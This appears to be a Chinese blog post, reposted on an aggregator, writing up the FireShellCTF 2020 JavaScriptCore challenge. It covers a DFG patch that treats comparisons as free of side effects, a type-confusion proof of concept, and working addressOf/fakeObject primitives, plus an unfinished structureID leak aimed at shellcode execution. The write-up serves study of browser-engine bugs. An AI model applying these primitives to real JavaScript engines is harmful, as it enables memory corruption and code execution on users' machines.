FireShellCTF 2020 - The Return of the Side Effect

news2024/11/26 19:57:16

前言

打算做几道 jscCTF 题目熟悉熟悉 jsc 的漏洞利用方式,但是发现很多题目都比较老了,commit 似乎已经没了。所以直接最新的 WebKit 上手动引入漏洞,然后尝试进行利用。

环境搭建

sudo apt install cmake
sudo apt install ruby
sudo apt install libicu-dev
git clone https://github.com/WebKit/WebKit.git
cd WebKit
手动引入漏洞
......

Tools/Scripts/build-webkit --jsc-only --debug
Tools/Scripts/build-webkit --jsc-only --release

漏洞分析

题目 patch 如下:

--- DFGAbstractInterpreterInlines.h     2020-03-19 13:12:31.165313000 -0700
+++ DFGAbstractInterpreterInlines__patch.h      2020-03-16 10:34:40.464185700 -0700
@@ -1779,10 +1779,10 @@
     case CompareGreater:
     case CompareGreaterEq:
     case CompareEq: {
-        bool isClobbering = node->isBinaryUseKind(UntypedUse);
+    //    bool isClobbering = node->isBinaryUseKind(UntypedUse);

-        if (isClobbering)
-            didFoldClobberWorld();
+   //     if (isClobbering)
+   //         didFoldClobberWorld();

         JSValue leftConst = forNode(node->child1()).value();
         JSValue rightConst = forNode(node->child2()).value();
@@ -1905,8 +1905,8 @@
             }
         }

-        if (isClobbering)
-            clobberWorld();
+    //    if (isClobbering)
+    //        clobberWorld();
         setNonCellTypeForNode(node, SpecBoolean);
         break;
     }

补丁打在了 executeEffects 函数中,通过函数路径可以知道其应该与 DFG 优化有关,关键代码如下:

template<typename AbstractStateType>
bool AbstractInterpreter<AbstractStateType>::executeEffects(unsigned clobberLimit, Node* node)
{
    verifyEdges(node);
    
    m_state.createValueForNode(node);
    switch (node->op()) {
    ......
    case CompareLess:
    case CompareLessEq:
    case CompareGreater:
    case CompareGreaterEq:
    case CompareEq: {
    //    bool isClobbering = node->isBinaryUseKind(UntypedUse);
        
    //    if (isClobbering)
    //        didFoldClobberWorld();
    JSValue leftConst = forNode(node->child1()).value();
	JSValue rightConst = forNode(node->child2()).value();
	......
	//    if (isClobbering)
    //        clobberWorld();
        setNonCellTypeForNode(node, SpecBoolean);
        break;
    }
    ......
    } // <=== end switch
    return m_state.isValid();
}

executeEffects 函数就是一个巨大的 switch 表,其作用就是检查相应的操作是否存在 side effect,如果存在 side effect,则调用 clobberWorld 函数取消之前对数据类型的推测,如果不调用该函数,则会保留之前的数据类型推测。

template<typename AbstractStateType>
void AbstractInterpreter<AbstractStateType>::clobberWorld()
{
    clobberStructures();
}

template<typename AbstractStateType>
void AbstractInterpreter<AbstractStateType>::clobberStructures()
{
    m_state.clobberStructures();
    m_state.mergeClobberState(AbstractInterpreterClobberState::ClobberedStructures);
    m_state.setStructureClobberState(StructuresAreClobbered);
}

这里直接看 GPT 的解释:

在 DFG 的抽象解释器(Abstract Interpreter)中,clobberWorld() 和 clobberStructures() 是两个函数,用于处理与代码执行环境和数据结构相关的信息。下面是它们的作用解释:

clobberWorld():该函数用于清除当前代码执行环境中的信息。它调用了 clobberStructures() 函数,从而清除与数据结构相关的信息。该函数可能会被用于在代码的某个位置进行优化,以确保在优化过程中不会使用过期的或无效的环境或数据结构信息。

clobberStructures():该函数用于清除与数据结构相关的信息。它对抽象状态(AbstractStateType)中的数据结构状态进行清除,并将数据结构状态标记为已被清除(ClobberedStructures)。它还将结构状态(StructureClobberState)设置为结构已被清除(StructuresAreClobbered)。这些操作可以确保在进行代码优化时,不会依赖于过期或无效的数据结构信息。

这两个函数的目的是在 DFG 优化过程中维护正确的执行环境和数据结构状态,以确保优化的准确性和可靠性。它们是 DFG 抽象解释器中的重要组成部分,用于清除和更新相关状态,以便进行后续的优化分析和转换操作。

简而言之,该 patch 后的代码认为 CompareLess、CompareLessEq、CompareGreater、CompareGreaterEq、CompareEq 操作不具有 side effect,但是这显然存在问题,我们知道在 JavaScript 中,不仅仅可以在基本类型之间进行比较,而且还可以在基本类型和对象之间进行比较。最经典的莫过于 toString/valueOf 方法了,这个之前在分析 V8 相关 callback 漏洞时已经详细说过。

比如我们可以使用代码 obj == 1,在比较时,会调用 obj 对象的 valueOf/toString 方法将其转换为基本类型,但是经过 DFG 优化后,其认为 obj == 1 不存在 side effect,但是我们可以在 valueOf/toString 方法中进行一些修改对象类型的操作,所以其是存在 side effect 的。由于认为 obj == 1 不存在 side effect,所以后面对 obj 的操作是不存在类型检查的。

poc 如下:

var arr = [1.1, 2.2, 3.3, 4.4];
arr['a'] = 1;

function trigger(obj, x) {
        obj[0] = 1.1;
        obj[1] = 2.2;
        x == 1;
        obj[2] = 5.4922244e-315;
}

for (let i = 0; i < 0x100000; i++) {
        trigger(arr, {});
}

trigger(arr, { valueOf:() => {
        arr[0] = {};
        return 1;
}});

print(arr[2]);

poc 中必须要加上 arr['a'] = 1;,不然无法触发漏洞,这里笔者认为是为了创建 ArrayWithDouble 数组,而不是 CopyOnWriteArrayWithDouble 数组,但是测试发现当笔者利用其它方式创建 ArrayWithDouble 时,其还是无法成功触发,所以这里具体的原因笔者暂且未知,如果读者有好的想法,欢迎交流,效果如下:
在这里插入图片描述
调试分析:

可以看到触发漏洞前,arr 数组类型为 ArrayWithDouble,此时 butterflyelement 域的数据是没有经过 box 处理的:
在这里插入图片描述
可以看到 butterflyelements 都是保存的原始 unboxed 数据:
在这里插入图片描述
而在经过漏洞触发后,在 toString 中将 arr[0] 修改为了对象 {},所以此时数组的类型变成了 ArrayWithContiguous,那么按理说由于是 ArrayWithContiguous 类型,所有的属性值都应该被 boxed 处理,但是其认为 obj == 1 没有 side effect,所以认为 arr 的类型还是 ArrayWithDouble,所以此时 butterflyelements 还是 unboxed 原始数据:
在这里插入图片描述
来看下 butterfly:可以看到都还是原始数据
在这里插入图片描述
所以此时的 arr[2] = 0x0000000042424242 就会被当作一个指针,而明显该指针是无效的,所以程序访问 arr[2] 时会 crash

漏洞利用

首先说明一下,笔者用的 WebKit 代码是最新的,所以常用的泄漏 structureID 的方式似乎都无效:

  • 方法1:堆喷大量不同 shape 的对象,然后猜测 structureID
    • 用不了,因为最新版的代码对 structureID 进行了增强,其低 7 比特是一个随机数,中间的 24 比特才是真正的 index
  • 方法2:利用 getByVal 进行泄漏,之前版本其未检查 structureID,而是直接加载 butterfly 中的数据
    • 用不了,代码打上了补丁似乎
  • 方法3:利用 Function.prototype.toString.call
    • 也用不了,调试发现对 structureID 存在检查

所以最后笔者只写出了 addressOf/fakeObject 原语:

var buf = new ArrayBuffer(8);
var dv  = new DataView(buf);
var u8  = new Uint8Array(buf);
var u32 = new Uint32Array(buf);
var u64 = new BigUint64Array(buf);
var f32 = new Float32Array(buf);
var f64 = new Float64Array(buf);

function pair_u32_to_f64(l, h) {
        u32[0] = l;
        u32[1] = h;
        return f64[0];
}

function u64_to_f64(val) {
        u64[0] = val;
        return f64[0];
}


function f64_to_u64(val) {
        f64[0] = val;
        return u64[0];
}

function set_u64(val) {
        u64[0] = val;
}

function set_l(l) {
        u32[0] = l;
}

function set_h(h) {
        u32[1] = h;
}

function get_l() {
        return u32[0];
}

function get_h() {
        return u32[1];
}

function get_u64() {
        return u64[0];
}

function get_f64() {
        return f64[0];
}

function get_fl(val) {
        f64[0] = val;
        return u32[0];
}

function get_fh(val) {
        f64[0] = val;
        return u32[1];
}

function hexx(str, val) {
        print(str+": 0x"+val.toString(16));
}

function sleep(ms) {
        return new Promise((resolve) => setTimeout(resolve, ms));
}

function addressOf(obj) {
        let arr = [1.1, 2.2, 3.3, 4.4];
        arr['a'] = 1;

        function trigger(obj, x) {
                obj[0] = 1.1;
                obj[1] = 2.2;
                x == 1;
                return obj[0];
        }

        for (let i = 0; i < 80000; i++) {
                trigger(arr, {});
        }

        let val = trigger(arr, {
                valueOf:() => {
                        arr[0] = obj;
                        return 1;
                }
        });

        return f64_to_u64(val);
}

function prep_fakeObject(addr) {
        let arr = [1.1, 2.2, 3.3, 4.4];
        arr['a'] = 1;

        function trigger(obj, x) {
                obj[0] = 1.1;
                obj[1] = 2.2;
                x == 1;
                obj[2] = addr;
        }

        for (let i = 0; i < 80000; i++) {
                trigger(arr, {});
        }

        trigger(arr, {
                valueOf:() => {
                        arr[0] = {};
                        return 1;
                }
        });

        return arr[2];
}

function fakeObject(addr) {
        return prep_fakeObject(u64_to_f64(addr));
}

function leakStructureID(obj) {
        let UnlinkedFunctionExecutable = {
                pad:u64_to_f64(0xdeadbeefn),
                pad1:1, pad2:2, pad3:3, pad4:4, pad5:5, pad6:6,
                identifier:{},
        };

        let FunctionExecutable = {
                pad1:1, pad2:2, pad3:3, pad4:4, pad5:5,
                pad6:6, pad7:7, pad8:8, pad9:9,
                unlinked_functoin_executable:UnlinkedFunctionExecutable,
        };

        let FunctionObject = {
                jscell:u64_to_f64(0x010e1a0000000000n-0x2000000000000n),
                butterfly:{},
                pad0:0,
                function_executable:FunctionExecutable,
        };

        let fake_obj_addr = addressOf(FunctionObject) + 0x10n;
        let fake_obj = fakeObject(fake_obj_addr);

//      print(fake_obj);

        UnlinkedFunctionExecutable.identifier = fake_obj;
        FunctionObject.butterfly = obj;
        hexx("fake_obj_addr", fake_obj_addr);
//      debug(describe(FunctionObject));
//      readline();
        let name_str = Function.prototype.toString.call(fake_obj);
//      print(name_str);
}

var noCOW = 0;
var test = [noCOW, 1.1];

//hexx("test_addr", addressOf(test));
leakStructureID(test); // error

后面如果能够泄漏 structureID 的话,就可以伪造一个合法的对象,然后就可以通过修改 butterfly 实现任意地址读写,后面的利用跟之前的就一模一样了,wasm ⇒ rwx_addr ⇒ write shellcode

总结

在笔者看来,利用的关键还是在于 structureID 的泄漏,只有成功泄漏 structureID 才能伪造一个合法的对象,从而读写 butterfly。然后学到了 3 种 structureID 泄漏的方式,虽然在高版本可能用不了。然后存在一个疑惑的就是为啥要加 arr['a'] = 1 才能触发漏洞,然后就是 ArrayWithDoubleCopyOnWriteArrayWithDouble 在漏洞利用中究竟会产生什么影响?希望随着后面的深入,能够解决自己这两个困惑。

参考

https://www.anquanke.com/post/id/223494#h3-7

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1579992.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

常用的启发式算法

1.蚁群算法&#xff08;Ant Colony Optimization, ACO&#xff09;&#xff1a;想象一下&#xff0c;蚂蚁们寻找食物的过程中留下的信息素轨迹&#xff0c;就是一种高效的搜索策略。这种算法模仿自然界中的这一现象&#xff0c;适用于解决复杂的路径规划问题。 2. A*算法&…

进制转换(0123456789ABCDEF)

题目 import java.util.Scanner;public class Main {public static void main(String[] args) {//将十进制数M转化为N进制数Scanner sc new Scanner(System.in);int m sc.nextInt();int n sc.nextInt();StringBuffer sb new StringBuffer();//1String s "0123456789…

stack: ‘FetchError: request to https://registry.npm.taobao.org/cssom failed,

npm install的时候报stack: FetchError: request to https://registry.npm.taobao.org/cssom failed, 查找了一下&#xff0c;原来是早在 2021 年&#xff0c;淘宝就发文称&#xff0c;npm 淘宝镜像已经从 registry.npm.taobao.org 切换到了 registry.npmmirror.com 解决方式&…

最长公共子序列、最长上升子序列(LCS与LIS)算法

最长公共子序列、最长上升子序列(LCS与LIS) 最长公共子序列(LCS) #include <bits/stdc.h> using namespace std; #define int long long const int N 1e39; int a[N],b[N],dp[N][N]; signed main(){ios::sync_with_stdio(0),cin.tie(0),cout.tie(0);int n,m;cin>>…

铁山靠之数学建模-基础篇

小黑子的数模基础篇 一、什么是数学建模1.1 数学模型分类1.2 备战准备什么1.3 组队学习路线1.4 赛前准备1.5 赛题选择1.5.1 赛题类型1.5.2 ABC赛题建议 1.6 学会查询1.6.1 百度搜索技巧1.6.2 查文献1.6.3 数据预处理 1.7 建模全过程 二、数模论文2.1 论文排版2.2 标题怎么写2.3…

【腾讯云 TDSQL-C Serverless 产品体验】饮水机式使用云数据库

云计算的发展从IaaS&#xff0c;PaaS&#xff0c;SaaS&#xff0c;到最新的BaaS&#xff0c;FasS&#xff0c;在这个趋势中serverless(去服务器化&#xff09; 计算资源发展Physical -> Virtualisation -> Cloud Compute -> Container -> Serverless。 一、背景介绍…

基于SSM+Vue电子竞技管理平台的设计与实现(源码+部署说明+演示视频+源码介绍+LW)

您好&#xff0c;我是码农飞哥&#xff08;wei158556&#xff09;&#xff0c;感谢您阅读本文&#xff0c;欢迎一键三连哦。&#x1f4aa;&#x1f3fb; 1. Python基础专栏&#xff0c;基础知识一网打尽&#xff0c;9.9元买不了吃亏&#xff0c;买不了上当。 Python从入门到精通…

关于GNSS硬件延迟初步学习,电离层提取

1、卫星端偏差分为频间和频内偏差&#xff08;inter or intra frequency&#xff09;&#xff0c;下面以GPS的C1C和C2W组合为例分析对PPP解算的影响&#xff1a; 如果不改正卫星端的inter-frequency&#xff08;即&#xff1a;C1C-C1W&#xff09;偏差&#xff08;因为每颗卫星…

火鹰论文工具推荐 #其他#职场发展#其他

火鹰论文工具是一款优秀的论文写作软件&#xff0c;以其强大的查重降重功能而闻名。无论是学生、教师、还是研究人员&#xff0c;都可以从火鹰论文工具中受益。 首先&#xff0c;火鹰论文工具非常好用。用户只需将自己的论文复制粘贴到软件中&#xff0c;点击“检测”按钮&…

nginx到底是怎么工作的

工作流程 用户通过域名发出访问Web服务器的请求&#xff0c;该域名被DNS服务器解析为反向代理服务器的IP地址反向代理服务器接受用户的请求反向代理服务器在本地缓存中查找请求的内容&#xff0c;找到后直接把内容发送给用户如果本地缓存里没有用户所请求的信息内容&#xff0…

MySQL中的SQL高级语句[一](下篇)

使用语言 MySQL 使用工具 Navicat Premium 16 代码能力快速提升小方法&#xff0c;看完代码自己敲一遍&#xff0c;十分有用 拖动表名到查询文件中就可以直接把名字拉进来以下是使用脚本方法&#xff0c;也可以直接进行修改中括号&#xff0c;就代表可写可不写 目录 1.数…

解密项目管理专业术语:十大名词背后的实战技巧

项目管理是一门综合学科&#xff0c;涵盖了一系列方法、技能和工具。今天为大家带来项目管理的十大专业术语&#xff0c;它们分别是项目范围、利益相关者管理、工作分解结构&#xff08;WBS&#xff09;、里程碑、风险管理、资源分配、关键路径法&#xff08;CPM&#xff09;、…

vscode连接远程服务器一直需要输密码,但是连不上

问题&#xff1a;vscode连接远程服务器一直需要输密码&#xff0c;但是连不上。 解决办法&#xff1a;kill 掉该远程服务器&#xff0c;然后再重新连接 操作&#xff1a; windows: ctrlshiftp mac:cmdshiftp 调出指令&#xff0c;然后选择“Remote SSH:Kill Vscode Serve…

OpenHarmony实例:【资源管理器】

介绍 本工程使用[ohos.app.ability.common] 接口中的AbilityContext类&#xff0c;获取资源管理器resourceManager&#xff0c;使用[ohos.resourceManager.d.ts]中的接口&#xff0c;展示了格式化字符串查询、基于指定屏幕分辨率查询媒体资源、获取系统资源管理对象等基础功能…

2024零废弃日青山少年可持续工坊走进南湖社区

“零废弃”不代表完全不产生任何垃圾&#xff0c;而是一种“尽可能避免产生废弃”的生活态度&#xff0c;每一个人都可以从零开始&#xff0c;从日常的随手小事开始&#xff0c;珍惜每一件物品、珍视每一种情绪&#xff0c;为生活腾出更大的空间。 2024零废弃日&#xff0c;北…

VM官网下载地址导航

Download VMware Workstation Pro 本文针对在VM官网找不到download按钮的同学&#xff0c;给与网址导航 密钥根据对应版本&#xff0c;自己百度一下就有激活密钥

LED模板驱动程序的改造:设备树驱动模型

应用程序调用glibc函数 内核层大致分为三个源文件 1&#xff09;drv.c &#xff08;硬件操作执行&#xff09; 包含file operation结构体的设置、注册&#xff0c;结构体中包含了.open(),.read()等驱动函数&#xff1b; .open()会调用对应的函数led_drv_open()&#xff1b;…

Flink学习(四)-数据管道 ETL

一、状态转换 map() 只适用于一对一的转换&#xff0c;即对每个进入算子的流元素&#xff0c;map() 将仅输出一个转换后的元素。 flatmap() 可以输出任意数量的元素&#xff0c;也可以一个都不发。 二、Keyed Streams keyBy() 相当于 sql 中的 group by&#xff0c;通过…

面试(01)————JVM篇,最大白话的一集,常见概念的讲解以及GC监控调优等等

一、JDK体系结构图 二、JVM整体架构 三、JVM组成 3.1、JVM内存区域的执行底层原理 ​编辑 3.1.1、程序计数器 3.1.2、堆栈关系的发现 3.1.3、方法去和堆的关系 3.1.4、堆&#xff08;重点&#xff09; 3.1.4.1、可达性分析算法 3.1、内存泄漏测试以及堆区的GC监控 3.…

MiniApp SDK 是什么?

介绍 MiniApp SDK 是提供开发、部署、产品体验分析、上线全流程各种需求的解决方案。接入此 SDK&#xff0c;您就可以只关注于代码开发本身&#xff0c;剩余的所有事情都可以交由 SDK 及其依赖方解决。另外&#xff0c;能够有效降低多端开发的技术门槛和研发成本&#xff0c;提…